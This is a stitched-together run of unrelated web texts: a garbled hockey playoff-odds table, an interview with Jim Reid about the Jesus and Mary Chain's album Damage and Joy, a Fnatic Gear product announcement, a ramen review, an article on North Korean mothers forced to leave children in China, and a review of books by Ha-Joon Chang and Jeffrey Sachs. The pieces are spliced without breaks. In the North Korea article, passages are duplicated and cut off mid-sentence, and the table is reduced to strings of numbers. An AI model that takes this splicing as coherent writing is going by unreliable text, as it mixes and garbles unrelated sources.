Although it might be more fun to go down swinging. Big Games Tuesday 100.0* Lottery seed Washington 7 Ottawa 2 +0.1 Detroit 1 Montreal 8 -0.1 Carolina 6 Los Angeles 1 -0.0 Wednesday None What If 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 If finish: Chance will finish season at seed TP W L - OT 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 87 19 0 - 0 3 37 38 17 4 0 0 84 17 1 - 1 11 17 17 28 22 6 83 16 1 - 2 6 18 39 19 15 3 82 16 2 - 1 0 9 21 32 25 11 2 0 81 15 2 - 2 1 1 10 23 30 24 9 1 0 80 14 2 - 3 0 2 11 27 32 21 6 0 79 14 3 - 2 0 0 3 14 32 32 16 3 0 78 13 3 - 3 0 0 1 5 20 35 29 9 1 0 77 13 4 - 2 0 0 1 9 28 37 20 4 0 0 76 12 4 - 3 0 0 3 16 36 33 10 1 0 75 12 5 - 2 0 1 7 27 40 21 4 0 74 11 5 - 3 0 0 2 15 38 33 10 1 73 11 6 - 2 0 1 7 29 41 19 3 72 10 6 - 3 0 0 3 18 42 31 7 71 10 7 - 2 0 1 9 36 40 14 9 6 - 4 0 1 9 35 41 14 70 9 7 - 3 0 0 4 25 46 25 10 8 - 1 0 0 4 25 46 25 69 9 8 - 2 0 1 16 45 38 8 7 - 4 0 0 1 15 45 38 68 8 8 - 3 0 0 8 39 52 9 9 - 1 0 0 8 39 52 7 7 - 5 0 0 8 39 53 67 8 9 - 2 0 0 4 30 66 7 8 - 4 0 0 4 30 66 6 7 - 6 0 4 30 66 66 7 9 - 3 0 2 21 77 8 10 - 1 0 0 2 22 77 6 8 - 5 0 2 21 77 65 7 10 - 2 0 1 14 86 6 9 - 4 0 1 14 86 5 8 - 6 0 1 14 86 64 6 10 - 3 0 0 8 92 7 11 - 1 0 0 8 92 5 9 - 5 0 8 92 63 6 11 - 2 0 5 95 5 10 - 4 0 4 95 62 5 11 - 3 0 2 98 6 12 - 1 0 2 98 61 5 12 - 2 0 1 99 4 11 - 4 0 1 99 60 4 12 - 3 0 0 100 59 4 13 - 2 0 100 58 3 13 - 3 0 100 57 3 14 - 2 0 100 56 3 15 - 1 0 100 55 2 15 - 2 0 100 54 2 16 - 1 0 100 53 1 16 - 2 0 100 49 -52 100 Total: 0 0 0 0 0 0 0 0 0 0 1 3 9 21 66On March 24, the Jesus and Mary Chain will release their first new album since 1998’s Munki. It’s called Damage and Joy, and it was recorded with producer Youth (who also contributed bass). Along with core members Jim and William Reid, the album features the band’s touring drummer Brian Young and former Lush bassist Phil King. It’s now been confirmed that the album also features Sky Ferreira, Isobel Campbell (formerly of Belle & Sebastian), and the Reid brothers’ sister Linda.
So far, the band have shared two songs from the album: “Always Sad,” a duet with guest vocalist Bernadette Denning, and “Amputation,” which is a re-recording of Jim Reid’s solo track “Dead End Kids.” Another track, “All Things Pass,” appeared, in an earlier version (as “All Things Must Pass”) on the 2008 soundtrack to NBC’s “Heroes.” All told, seven of the album’s 14 songs have previously been released in other forms.
Jim Reid talked to Pitchfork over the phone earlier today about Ferreira’s role on the record, his relationship with his brother, a lyrical reference on the album to killing Kurt Cobain, why the album features so many re-recorded songs, and why the album’s artwork is a bowl of alphabet soup.
The first question on most people’s minds is, respectfully, what took so long?
Jim Reid: Several things, really. I suppose when the band got back together in 2007 I wasn’t totally sure that I wanted to get back in the studio again. Because my memories of the studio had been the recording of Munki. And that was a very painful record to make. I mean, I love the album. I think it didn’t suffer. But it was a low point for us in terms of our relationship—I think everybody’s aware of that—William and I.
I guess I just kept making excuses, reasons why not to, and I hadn’t realized how much time had passed. And then people kept just saying, “When’s this record ever gonna come out?” Suddenly I realized, “This is becoming a bit of a joke.” So I thought, let’s either make a record or tell people we’re not gonna make a record, one or the other. And I went to William and I said “I’m ready to do it now, so, let’s.” And that was a couple of years ago.
In 2015, you said you and William disagreed on things like where to record this and how to record it. How did you end up reconciling on that stuff?
There was a feeling of it’s kind of now or never. If we don’t do this record soon, I don’t think there’s gonna be a record. And I just thought, well, look, I want to have a record out. I don’t want to just go out and do the back catalog forever. And I thought, well, whatever it takes, let’s make it work. And I went into it with that attitude. I didn’t really sit down and talk to William about it but I think we both realized as well that if we were to go into the studio and screw it up over petty bickering that it would have been a massive opportunity that we’d blown. The kind of World War III in the studio that I had almost been having a nervous breakdown about didn’t materialize. Actually, we kind of bonded and got on quite well.
For Munki____, I understand you and William recorded separately from each other. How did the process go this time? Where did you record it?
We recorded at various places but mostly at the producer Youth’s place in Spain. He has a studio in Spain. Well, it’s a house with a studio in it. We did a couple of tracks at his place in London just to see if the whole idea was gonna work. It did. So then we went to Spain to do most of it and that’s pretty much where it was recorded.
Were you and William both recording at the same time?
Yeah, yeah, yeah. With the exception of the fact that there was a producer involved it was pretty much the way it used to be in the early days. It was just me and Wiliam just getting on with it. And there was no arguing and it was all pretty productive. Like the old days. No matter whose song it was, anyone was free to pitch in any ideas or rearrange it. Basically it was all very open. If you had an idea, you didn’t feel you were stepping on anybody’s toes.
Photo by Steve Gullick
There were a number of female guest vocalists. Sky Ferreira, for example, appears on “Black and Blue.” How did you guys get in touch with her?
She came to see the band a couple of times in America a couple of years ago. It turns out she’s a fan. We were just getting the album together, and we realized there were a lot of duets. So we started asking our friends, ‘Well, who do you think we should get?’ And she had just done a vocal with Primal Scream. So we had asked Bobby [Gillespie, once the Jesus and Mary Chain’s drummer in addition to singing with Primal Scream], who do you think we should get to sing on our record, and obviously he said Sky, so, of course, why not? So we asked, and she was keen, and she did a fine job.
Did she come out to Spain?
She was in Budapest doing a movie, and I just flew out there with the—well, not the tapes, because there are no tapes anymore—and had the files sent out there, so I just recorded her vocal and flew back with it.
The lyrics on that song are pretty intense: “I don’t have nothing to give, but if I could I’d give my heartbeat.”
It’s just one of those. It’s supposed to be kind of doomed lovers with nowhere to go. It’s a suicide pact kind of thing, we could die in the morning. I don’t really like to talk too much about lyrics because I like people to use a bit of their imagination. The reason I say that is that I’ve loved songs for years by other people and then I’ve read an interview where they told you what the song’s about and you think, ‘Oh god, that’s not what I thought it was about.’ There should be a bit of mystery about a song.
On the subject of guest vocalists, Isobel Campbell sings on two songs on the record.
We’d never met, we don’t know her, but we’re fans of her music and her voice, and we just thought she would be a perfect fit for the Mary Chain. All it takes is a phone call. We found out how to get in touch with her, called her up, and luckily she said she’d do it.
There’s also Bernadette Denning, and—
Bernadette Denning—most people say “who the hell is Bernadette Denning?” And the reason there’s no hits when you look on Google is that she’s not a professional singer. That's William’s girlfriend. She’s never been in a band, she’s never sung on a record. So that’s why nobody knows who she is. But she has been touring with us the last couple of years, singing “Just Like Honey” with me at the end of the show.
How did it affect the process knowing that the Mary Chain is such a signpost to other bands nowadays, the way that maybe the Velvet Underground, the Stones, or the Beach Boys once were to you?
Sometimes people mention things like that to me, but it’s not all that apparent to me or William. And it doesn't really matter to us. The way we make records now, or this record now, is for the same reason we’ve always made records. We just wanted to make a record that sounds great to us and if anybody else likes it, that’s fantastic, but if nobody else likes it then we’ll just have to deal with that. That’s how we make records. That's how we made Psychocandy. We made a record that was the best possible record that we could think of at that time. And that’s how we’ve continued throughout our career, just make a record that sounds good to us, and hope for the best.
When you were starting to work on this, you said that maybe it was a “more mature” sound for the band. In what ways, do you think?
I’m not really sure. I mean, I’m not really sure that it is. [laughs] It’s just the Mary Chain, really. I mean, if it’s a more mature sound then it’s probably because we’re more mature people, I suppose. To me it just sounds like a continuation from where we left off. It’s not like we’ve come back sounding like a different band. It sounds unmistakably Mary Chain. It sounds as if Munki ended and this begins, it doesn’t sound that far removed, and that was intentional. We wanted to make it as close as we could make to a classic Mary Chain album. It’s up to the listener to decide whether we’ve succeeded.
Several of these songs you’ve put out either solo, with your sister’s project Sister Vanilla, or with your other project Freeheat. How did you make them make sense for the Mary Chain?
Well, those really should have been Mary Chain songs, and the Mary Chain really shouldn’t have broken up. Those songs were recorded at a time when I was rather the worse for wear. A lot of them came out sounding like demos, I think. I just didn’t want to waste those songs, and I wanted them to come out under the umbrella of the Mary Chain. I wanted those songs to be part of our set. They finally got the treatment they deserved as far as I’m concerned.
On the very first track, “Amputation,” you sing about feeling “like a rock’n’roll amputation.” What do you mean by that?
At the time the song was written, that’s the way it felt. It felt as if no one was interested in anything me or William had to say. It felt as though people seemed more interested in listening to bands that sounded like the Mary Chain, but nobody seemed to be more interested in the people [laughs] from the Mary Chain, you know? It felt like we were in exile. Rock’n’roll amputation, that’s exactly what I felt like. I was probably quite far into the bottle at that time. Maybe it was all in my head. I don’t know.
Do you have any favorites of the newer bands that sound like the Mary Chain?
I kind of don’t stay in tune with what
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to resign.The European-based eSports organization Fnatic revealed Fnatic Gear, a new lineup of gaming peripherals with Fnatic branding. The products that will ship initially in December are the Rush mechanical keyboard, Flick optical mouse, Boost hard mouse pads, and Focus cloth mouse pads.
This move comes apparently after an acquisition of Func Inc based in Sweden as stated in the FAQ on the Indiegogo page for Fnactic Gear. Indeed, the Func web domain now redirects to the Fnatic main website. Of the products revealed, the Rush mechanical keyboard based on the KB-460 is the only preexisting Func product to continue into Fnatic Gear and the other products are entirely new.
We wondered what this could mean for owners of existing Func products. We found the drivers and documentation site is still active so there is some continued at least.
We also noticed that SteelSeries is no longer listed as a partner on the Fnatic website. The new Fnatic Gear marks the end of a long relationship with SteelSeries that traces back to 2008. Fnatic is one of the most recognized eSports organizations in the world today. It fields several teams playing different games, though the League of Legends and CS:GO teams are most notable in their accomplishments.Well folks, here we are. Review #2000! I recommend that you all start by reading the interview I conducted with Nissin Japan before proceeding.
I created a special video to accompany this post – check it out!
Detail of the side panels (click to enlarge). Contains chicken products. To prepare, open lid and add 410ml boiling water. Cover and let steep for 3 minutes. Stir and enjoy!
Detail of the lid (click to enlarge).
The seasoned noodle block.
A large freeze dried block of egg and spring onion.
Finished (click to enlarge). The noodles hydrated perfectly and are the exact gauge and texture I remember having as a child. They’re salty and have a sesame chicken flavor. The egg block really expanded nicely – scrambled egg and spring onion are everywhere and in great quantity – no measly portion here. The broth is very tasty, again withe the sesame chicken taste. This was a bowl I’ve been wanting to try for many years and this is the perfect 2000th review. A taste of my childhood. 5.0 out of 5.0 stars. JAN bar code 4902105002605.
Nissin Chiken Ramen bowl 85g ~ 12 piecesThese North Korean women chose to leave young children behind to make precarious journeys to escape the dangers of residing illegally in China and find asylum in South Korea, either because they couldn’t endure their forced marriages any longer or because every day they risked being captured by Chinese authorities and repatriated to North Korea where they were certain to face beatings, starvation and worse in prison camps. Because in North Korea it’s a crime to leave without permission, even if there’s no food to be found inside the country or you have to go to over the border to find goods to trade in the markets to survive. And asking for permission to leave is tantamount to a crime because it would reveal a lack of faith in the North Korean leadership.
Tongil Mom Delegation and HRNK at the Heritage Foundation on November 2, 2016.
From left to right: Lee Young-hee (Tongil Mom Member), Kim Jeong-ah (Tongil Mom Founder and Executive Director), Rosa Park (HRNK Director of Programs and Editor), and Hwang Hyun-jeong (Tongil Mom Member).
Around 30,000 North Koreans have resettled in South Korea, the
Kim explains that the Chinese government's policy of forced repatriation of North Korean refugees leads to mothers having to abandon their children. Under international law, China is prohibited from returning North Korean refugees to North Korea where they face torture and other reprisals. Instead, China is obliged to offer them protection under several international treaties, including the Convention on the Elimination of All Forms of Discrimination against Women (CEDAW) and the Convention against Torture, as well as customary international law which prohibits forced repatriation (also called refoulement). But the Chinese government doesn’t comply with its international legal obligations and declares North Koreans who flee the country not to be genuine refugees but This week, three members of the Tongil Moms, an advocacy group of North Korean women who seek reunification with their children whom they left behind in China, participated at a forum on human trafficking in China at the Heritage Foundation in Washington, D.C. Three North Korean women (sometimes referred to as “defectors”) who now reside in South Korea are activists demanding their fundamental human rights to family life and privacy. Executive Director of Tongil Moms Kim Jeong-ah said, “Two [other mothers] have been included in this delegation, but the participants have changed multiple times because they could not face the trauma of having to retell their stories.” The two other members were Hwang Hyun-jeong and Lee Young-hee.Around 30,000 North Koreans have resettled in South Korea, the vast majority of them women. Assessing how many of them were victims of human trafficking is difficult as is estimating the number of North Korean women who remain trafficked in China or languish in prisons back in North Korea after forced repatriation. Kim estimates 60 percent of North Korean women in South Korea were abused in China. She said, “Naturally, women only share their stories with friends they are very close with and trust. This is because women defectors feel shameful about their experiences. It is extremely difficult for me when I share what I have been through. I was sold for 19,000 Chinese yuan (about USD 2,800). Moreover, I have to confess the fact that I abandoned my child, whether it was against my will or not.”Kim explains that the Chinese government's policy of forced repatriation of North Korean refugees leads to mothers having to abandon their children. Under international law, China is prohibited from returning North Korean refugees to North Korea where they face torture and other reprisals. Instead, China is obliged to offer them protection under several international treaties, including the Convention on the Elimination of All Forms of Discrimination against Women (CEDAW) and the Convention against Torture, as well as customary international law which prohibits forced repatriation (also called). But the Chinese government doesn’t comply with its international legal obligations and declares North Koreans who flee the country not to be genuine refugees but illegal immigrants coming to China for economic reasons
“Because of the constant threat of being forcibly repatriated to North Korea, I was never able to sleep for more than one hour at a time; I would lay awake every night,” Kim said. “Mothers cannot stay in China and must abandon their children, thinking that they will go back to get them someday, but there is no way to influence what the children are taught. The [Chinese] fathers tell them: “Your mother’s abandoned you.’ They don’t think about the kind of pain that causes a child.”
The “Because of the constant threat of being forcibly repatriated to North Korea, I was never able to sleep for more than one hour at a time; I would lay awake every night,” Kim said. “Mothers cannot stay in China and must abandon their children, thinking that they will go back to get them someday, but there is no way to influence what the children are taught. The [Chinese] fathers tell them: “Your mother’s abandoned you.’ They don’t think about the kind of pain that causes a child.”The Committee on the Rights of the Child (CRC) in October 2013 urged China to “cease the arrest and repatriation of citizens of the Democratic People’s Republic of Korea [North Korea], especially children, and women who have children with Chinese men, and ensure that children of mothers from the Democratic People’s Republic of Korea have access to fundamental rights, including the right to identity and education.” The CRC made similar recommendations in previous years, as have many other UN committees and human rights bodies like the Working Group on discrimination against women in law and practice
Kim said, “The last time I spoke with my daughter in 2013, she said, ‘Mom, you’ve left me haven’t you. You hate me don’t you?’ When a child says that, her mother will be devastated, don’t you think? Have you ever said that to your mother? I bet not. This is not the kind of thing that should be said between a mother and her child. Even so, the daughter I have not seen since she was five years old repeated this to me endlessly. It seemed like my world was collapsing around me.” The Tongil Moms make three demands: that children born to North Korean mothers and Chinese fathers be given proper identity documents that would entitle them to education and health care—some Kim said, “The last time I spoke with my daughter in 2013, she said, ‘Mom, you’ve left me haven’t you. You hate me don’t you?’ When a child says that, her mother will be devastated, don’t you think? Have you ever said that to your mother? I bet not. This is not the kind of thing that should be said between a mother and her child. Even so, the daughter I have not seen since she was five years old repeated this to me endlessly. It seemed like my world was collapsing around me.” The Tongil Moms make three demands: that children born to North Korean mothers and Chinese fathers be given proper identity documents that would entitle them to education and health care—some 20,000 to 30,000 such children are believed to be stateless, that mothers have access to their children and other parental rights, and that these children be given a choice to reunite with their mothers.
“If we continue to ignore these problems, it will continue to be a huge obstacle for these women to adjust to South Korean society. They will pretend as if nothing happened or hide what happened. They will look ‘normal’ during the day, but will then cry at home alone, sobbing because they miss their children in China. However, it is different when their suffering is shared with other people.”
The Tongil Moms decided they needed to share their stories. “I felt that we needed to come together and tell the world about the situation of these children left behind in China…to raise awareness, generate interest and get your help to work on this situation together,” Lee Young-hee told students at an event at the University of Virginia (UVA).
Kim said, “If I do not share my story, I will be in pain and cannot hold my head up in front of my child one day. I could say nothing if my child asked me that what kind of efforts I made in order to find her.” “Obviously, the Chinese government is not going to stop its policy of repatriation overnight,” Kim told UVA student newspaper The Cavalier Daily. “But I believe if we approach the people with a [conscience], the people who believe in human rights in China and if we approach this using social media then we can definitely try to make a change regarding the situation.”Kim said, “If I do not share my story, I will be in pain and cannot hold my head up in front of my child one day. I could say nothing if my child asked me that what kind of efforts I made in order to find her.”
The author is grateful to Rosa Park, HRNK Director of Programs and Editor, who conducted the interview with Kim Jeong-ah in Korean and provided translation. The author also wishes to thank HRNK’s Christopher Buchman, Soohyun Chang, and Amanda Won, who helped with the translation. HRNK thanks Henry Song (No Chain) and Bruce Klingner (Heritage Foundation) for facilitating the interview.In Review
Contagious Defections
How far will mainstream economics go in breaking with the increasingly discredited Washington Consensus?
By Mark Engler
This is a web-only article from the website of Dollars & Sense: The Magazine of Economic Justice available at http://www.dollarsandsense.org
Back in March 2008, before the financial crisis had reached historic proportions, concerned observers of the global economy had already begun reaching for metaphors of ill health. An article that appeared in Der Spiegel, Europe’s most influential newsweekly, worried that the United States’ declining fortunes had already harmed the European economy, and that worse was to come: “It’s like the beginning stage of the flu, when the patient still appears healthy and strong,” the article explained. “But the virus is already replicating in the body, and the patient is beginning to feel the effects of joint pain and crippling fatigue.” The final result could be “a collapse of the global financial system.”
The world economy is now well beyond the early stages of a cold. But Der Spiegel’s analysis could today be applied to the battle of ideas—its diagnosis an apt assessment of the intellectual underpinnings of corporate globalization. These days, the doctrine of market fundamentalism still has enough defenders for a few to perceive a healthy disposition. Yet its ample defectors and ever-more vocal detractors will make most people suspect that its constitution is seriously compromised.
One can witness an evolving debate about globalization both in public discussion and in several of the books about the global economy published in 2008. These bolster the sense that once-dominant economic neoliberalism may never recover the strength it recently possessed. Two such works are Bad Samaritans: The Myth of Free Trade and the Secret History of Capitalism by Ha-Joon Chang and Common Wealth: Economics for a Crowded Planet by Jeffrey Sachs. Although they differ significantly in their outlooks, both indicate an intellectual climate in which it is preferable to be perceived as a critic of the runaway market economy, rather than a champion of it.
Kicking Away the Ladder
Bad Samaritans is the more radical of the two books, yet the type of neo-Keynesian propositions it lays out are increasingly becoming the norm in economic debates. Chang, an economist at the University of Cambridge, opens with a bit of personal and economic history. “Korea, one of the poorest places in the world, was the sorry country I was born into on October 7, 1963,” he writes. “Today I am a citizen of one of the wealthier, if not wealthiest, countries in the world.... During my lifetime, per capita income in Korea has grown something like 14 times, in purchasing power terms.” Noting that it took the United States a century and a half to realize a similar advance, he writes, “The material progress I have seen in my 40-odd years is as though I had started life... as an American grandfather born while Abraham Lincoln was president.”
The account of Korea’s economic history long preferred by the international financial institutions in Washington, DC held that the country sparked its miraculous growth by embracing the free market: keeping tight control of inflation, limiting the role of the state, lowering trade barriers, and inviting foreign investment. Advocates of corporate globalization, in short, hold up the country as a model of neoliberal economics. They then preach that countries wanting to replicate its success should hew to the International Monetary Fund’s “free trade” dictates.
Yet the truth of Korea’s success hardly fits the pattern they would like it to. “What Korea actually did during [the past four] decades,” Chang explains, “was to nurture certain new industries, selected by the government in consultation with the private sector, through tariff protection, subsidies and other forms of government support.” Blatantly violating the policies regularly prescribed for poor nations, the state also owned all the country’s banks, kept tight control over the flow of foreign currency in the country, and ran its own businesses in key areas where it felt the private sector had invested insufficiently. The country’s leaders moved toward more open trade only when its industries were well prepared to compete internationally.
Korea, as it turns out, is hardly an exception. Chang’s wider point is that “practically all of today’s developed countries, including Britain and the United States, the supposed homes of the free market and free trade, have become rich on the basis of policy recipes that go against the orthodoxy for neoliberal economics.” Drawing on a 1841 quote from German economist Friedrich List, Chang charges that advanced industrial nations are guilty of “kicking away the ladder”—prohibiting developing countries from using the very tactics that allowed them to ascend in the global economy.
Given capitalism’s foundational and often-celebrated exaltation of self-interest, one might surmise that wealthy countries are motivated in their ladder-kicking by a crass desire for greater market access for their own goods and services. However, Chang takes a gentler stance. He argues that, in the late stages of their economic development, countries like the United States and Britain have rewritten their economic histories to make themselves seem like paragons of free market virtue when “in fact, for a long time they were the most protectionist countries in the world.” The great majority of free market politicians, he contends, are genuinely well intentioned but have been duped by this revisionist history. Thus, they have become bad Samaritans, “making the lives of those whom they are trying to help more difficult.”
That’s No Way to Grow
Chang’s publishers somewhat disingenuously market him as a fresh new voice on the economics scene. In fact, although still relatively young, he has been involved in writing or editing over a dozen books. The most prominent, Kicking Away the Ladder, actually took its name from the aforementioned List quote, and it advanced many of the same ideas as Bad Samaritans, if in a more technical manner. At this point, Chang’s historical argument seems so solidly documented and sensibly put to be almost pedestrian. Its urgent relevance becomes clear only when it is placed against the unrelenting “free-trade” advocacy of laypeople like Thomas Freidman and the editorial board of The Washington Post, or against the work of party-line economists who, even in these days of government bailouts for Wall Street, remain in a state of denial.
For all their blasé self-confidence, defenders of the Washington Consensus have failed to answer the most damning charges against neoliberalism. The fact that most consistently nags is that the policies of corporate globalization have failed to live up to its promoters’ central promise: robust GDP growth. Chang notes, “[d]uring the 1960s and 1970s, when they were pursuing the ‘wrong’ policies of protectionism and state intervention, per capita income in the developing countries grew by 3.0% annually.... Since the 1980s, after they implemented neoliberal policies, they grew at only about half the speed” seen previously. “Growth failure,” he notes, “has been particularly noticeable in Latin America and Africa, where neoliberal programmes were implemented more thoroughly than in Asia.”
Studies purporting to show that globalizing nations fare better than non-globalizing ones fall apart if countries like China—which, as Chang reminds us, has steadfastly protected its economy—are not misleadingly categorized as “free trade” exemplars. The reason is clear. Chang compares the act of forcing developing countries to prematurely adopt “free trade” policy with the prospect of sending his six-year old son out into the open labor market to learn the value of hard work and thrift. Hypothetically, free-marketeers might contend that putting the boy into the workforce would allow him to overcome the dependency of parental care and to thwart market-distorting subsidies like public education. In the short term, the kid would probably bring in more cash than the average deadbeat first-grader. But obviously, his life choices—and future income—would be noticeably constricted.
Ultimately, Chang is not against trade or movement toward open markets—if appropriately timed and planned. At the same time, he seems to relish the opportunity to take shots at some of the most hallowed tenets of the corporate globalizers. He argues that foreign direct investment (the holy grail of conventional development economics) is not actually very helpful to poor countries in many circumstances. He reminds us that some of the world’s most efficient enterprises are state-owned (think Singapore Airlines, repeatedly voted the world’s favorite carrier), and that many now-private businesses became world-class firms under state control. And he makes a damning case against intellectually property laws designed by self-interested lobbyists at corporations such as Disney.
Chang is not alone in voicing many of these views. Even some his foils, such as Columbia University economist Jagdish Bhagwati, are critical of overzealous protections for corporations’ intellectual property. And the prevalence of this criticism is part of a wider trend. In the decade since the Asian financial crisis, the accumulating failures of neoliberal mandates have led to a dramatic increase in the number of mainstream economists who are willing to speak out against them. Arguments once commonplace at the protests and teach-ins of the global justice movement—but taboo within economics departments—have moved to far more central places in the public debate.
The increasing prominence of Chang can be considered part of this shift. The more prototypical example of it is his mentor, Nobel Prize-winning economist Joseph Stiglitz, who made a swift transition from being chief economist at the World Bank to being an outspoken critic of market fundamentalism and a persistent thorn in the side of the IMF.
The policy alterations that have accompanied the changing intellectual scene have already proven significant. Witness the changing fate of the IMF: not long ago the institution was the head of a powerful Washington cabal in development policy. To escape its grasp, developing countries have paid off their loans to the IMF early and built up large currency reserves in recent years so as never to have to return to Washington in the event of future emergencies. Today, the Fund’s recommendations are regarded as ideologically suspect at best. The institution thus became a shadow of its former self—and is now desperately trying to use the new financial crisis to reinvent itself. Allied bodies like the World Bank are facing difficulties of their own, and the American electorate has clearly grown suspicious of unchecked deregulation, making the terrain of globalization debate at the start the post-Bush era very different from that seen at the end of the Clinton years.
An Unrepentant Convert?
Another individual that many think of as a defector from the beleaguered Washington Consensus is Jeffrey Sachs, currently the director of the Earth Institute at Columbia University. Sachs first came to prominence in the late 1980s as the wunderkind Harvard economist who, in his early thirties, was called in to fix the imperiled economies of countries including Bolivia and Poland. He treated these patients with what has since become known as “shock therapy”—the all-at-once imposition of a slate of free market initiatives—with controversial results.
In 2005 Sachs reentered the limelight, this time as an anti-poverty crusader, with a book entitled The End of Poverty. It was a staunch defense of foreign aid and of the United Nations’ Millennium Development Goals. It championed the cause of ending extreme poverty as the defining challenge of our generation. The best-selling book’s success has solidified Sachs’ standing in the celebrity humanitarian circles inhabited by the likes of Bono and Angelina Jolie.
If Sachs gives the impression that he has lived a dual life, his distinct identities have each been brought into relief in the past year. On the one hand, he has just released a new book, Common Wealth: Economics for a Crowded Planet. In addition to reiterating his calls for a resolute international effort to address poverty, the book expresses concern about global environmental problems, especially climate change. He argues that in the twenty-first century, “The challenges of sustainable development—protecting the environment, stabilizing the world’s population, narrowing the gaps of rich and poor, and ending extreme poverty—will take center stage. Global cooperation will have to come to the fore. The very idea of competing nation-states that scramble for markets, power, and resources will become pass�.” He calls upon global society to “[think] ahead and [act] in unaccustomed harmony.”
On the other hand, even as he has set out to proselytize for this apparently liberal internationalist program, Sachs has suffered a withering progressive attack on his reputation. In Naomi Klein’s The Shock Doctrine, Sachs appears as one of central villains in the story of neoliberal capitalism’s forceful and undemocratic rise. Dubbed “The New Doctor Shock,” he is held up as second only to Milton Friedman in his responsibility for spreading the ravages of the unrestrained free market in past decades.
Now, to identify Sachs as the embodiment of neoliberalism is somewhat unfair: he has long combined advocacy for debt relief, foreign aid, and social safety nets with his belief in capital’s powers, and he has had his fair share run-ins with the IMF over the years. Yet Klein is accurate in portraying Sachs as the more liberal face of market orthodoxy. And those who might think that Sachs is currently atoning for past sins need only to look at his unrepentant attitudes toward the countries he previously advised.
In The End of Poverty and elsewhere, Sachs takes credit for ending Bolivian hyperinflation. He has lauded President Gonz�lo “Goni” de Lozada—who went on to implement more radical and far-reaching neoliberal initiatives than Sachs himself had recommended—as a “genius” under whose guidance Bolivia “made a fundamental turn toward macroeconomic stability... [and] economic growth.” Poland, in Sachs’ view, was an even more unqualified success. He writes, “By 2002, Poland was more than 50% richer in per capita terms than it had been in 1990, and it had logged the most successful growth record of any post-communist country in Eastern Europe or the former Soviet Union.”
In her criticism of Sachs, Naomi Klein rightly points out that most Bolivians see their history very differently. Goni’s reshaping of the economy took place amid massive protests, reforms exacerbated the country’s deep inequalities, and the poor were disproportionately made to bear the anguish of the changes. Klein sees Poland as an even greater affront: As of her writing, the country had the highest unemployment rate in the European Union, and “40% of young workers were unemployed in 2006, twice the EU average.” She writes, “Shock therapy, which eroded job protection and made daily life more expensive, was not the route to Poland’s becoming one of Europe’s ‘normal’ countries (with their strong labor laws and generous social benefits) but to the same gaping disparities that have accompanied the counterrevolution everywhere... from Chile to China.”
Sachs is reportedly upset by his portrayal in Klein’s book. Unfortunately, the public has yet to benefit from a head-to-head debate: When the two authors were slated to be on the same panel at the American Sociological Association conference in Manhattan during the summer of 2007, Sachs backed out—due to a scheduling conflict, he says.
Hi-Tech Re-branding
Whatever the case, the makeover that Sachs continues with Common Wealth is less a defection than a re-branding exercise. In the new book, he repeatedly states that the market alone is not enough: “The pressure of scarce energy resources, growing environmental stresses, a rising global population, legal and illegal mass migration, shifting economic power, and vast inequalities of income are too great to be left to naked market forces and untrammeled geopolitical competition among nations.” Yet Sachs isn’t so much critiquing the harm that markets can do as he is suggesting that they need to be nudged every once in a while with some government-sponsored “incentives” to work in the public good.
Chang characterizes Sachs’ earlier writing on economic integration as “more balanced and better informed” than Jagdish Bhagwati’s, “but ultimately flawed.” In the end, Sachs retains the belief that trade, commerce, and technological progress will inexorably lead to growth and prosperity. In fact, in Sach’s view, technological progress and prosperity are what make eliminating poverty possible. In one tidy paragraph, he dismisses exploitation as a significant force in the world economy. Instead, Sachs writes, “technology has the wonderful property of being non rival; each person, business, or country can adopt the technology without the ability of other to adopt technology as well.” Thus, all can thrive.
“The central solution to ending extreme poverty,” Sachs explains, “is to empower the poor with improved technology so that they can become productive members of the world economy.” Since the poor cannot afford these technologies on their own and are stuck in “poverty traps,” wealthier nations must provide generous foreign aid to help them to their feet. His heroes in this endeavor are philanthropists like John D. Rockefeller and Bill Gates, who have seen the wisdom of investing in humanity’s common well-being.
Technological boosterism also infects Sachs’ prognosis for global climate change, making him a less-than-convincing environmental guru. Common Wealth provides a familiar overview of the rise in atmospheric CO2 levels and the potentially disastrous consequences of global warming, warning that “a business-as-usual path... will not carry us to safety.” Sachs then preoccupies himself with demonstrating that “powerful technologies”—including improved hybrid cars and devices that can collect excess carbon dioxide from the atmosphere—“will likely be available to enable us to mitigate the climate shocks at a very modest cost.” With some dedicated public effort, “modest economic incentives,” and investment in research and development, he tells us, we can beat global warming on the cheap. As for the type of political resistance that has vexed previous climate negotiations, this, too, can be easily overcome: “Yes, there will be a fight over allocating costs, but it need not be a huge battle,” he imagines.
As his book progresses, not only do Sachs’ reassurances begin to seem Panglossian, but his can-do rhetoric grows bland. Common Wealth suffers from the lack of memoir and storytelling elements that made The End of Poverty appealing, if problematic. The new volume ends up reading something like a political campaign book—perhaps for someone running to head the United Nations Development Program.
Sachs is at his best when he takes up some of the grit of political polemics, like when he blasts the religious right and the Bush administration for undermining U.N. family planning efforts shown to effectively empower women, promote reproductive health, and curb runaway population growth. But lobbyists and special interests are too seldom found in Sachs’ account of political decision-making. Rather, he presents bad policies as the result of “ the declining sense of global responsibility felt by U.S. politicians” —something that can presumably be remedied by his impassioned argumentation, his many charts, his appeals to long-term self-interest, and his quotations from John F. Kennedy.
Digging Deeper
As global markets weather a new period of turmoil and instability, Sachs’ ultimate confidence in the world economy’s abundance will fail to comfort many. Whereas Sachs dismisses concerns about peak oil on the grounds that “[w]e might run out of conventional petroleum in a few decades, but we have centuries left of coal and other nonconventional fossil fuels, such as tar sands and oil shale”—which new technology, of course, will allow us to effectively exploit—there is no shortage of analysis suggesting that limits on natural resources are real and that the consequences are dire. Likewise, there are ample observers of capitalism’s recurrent downturns who will note that the unfettered market is not just limited in its ability to do good, as Sachs would have it. It can also do ill, creating crises—financial and environmental—virulent enough to raise serious doubt about neoliberalism’s sustainability.
While global capitalism itself may be adaptable enough to survive the demise of its most recent laissez-faire incarnation, the transition will mean real pain for people across the globe. This will be felt by the millions of working people in advanced industrial nations with bad credit and stagnant wages who now face foreclosure on their homes. And it will likely be felt by poor in global South as well—those who receive neither enough aid nor enough income to escape hunger and disease. These people will be denied because countries that are clashing over oil resources and adopting beggar-thy-neighbor economic policies in an attempt to soften the downturn at home are those least likely to engage in Sachs’ cooperative, multilateral campaign to end poverty.
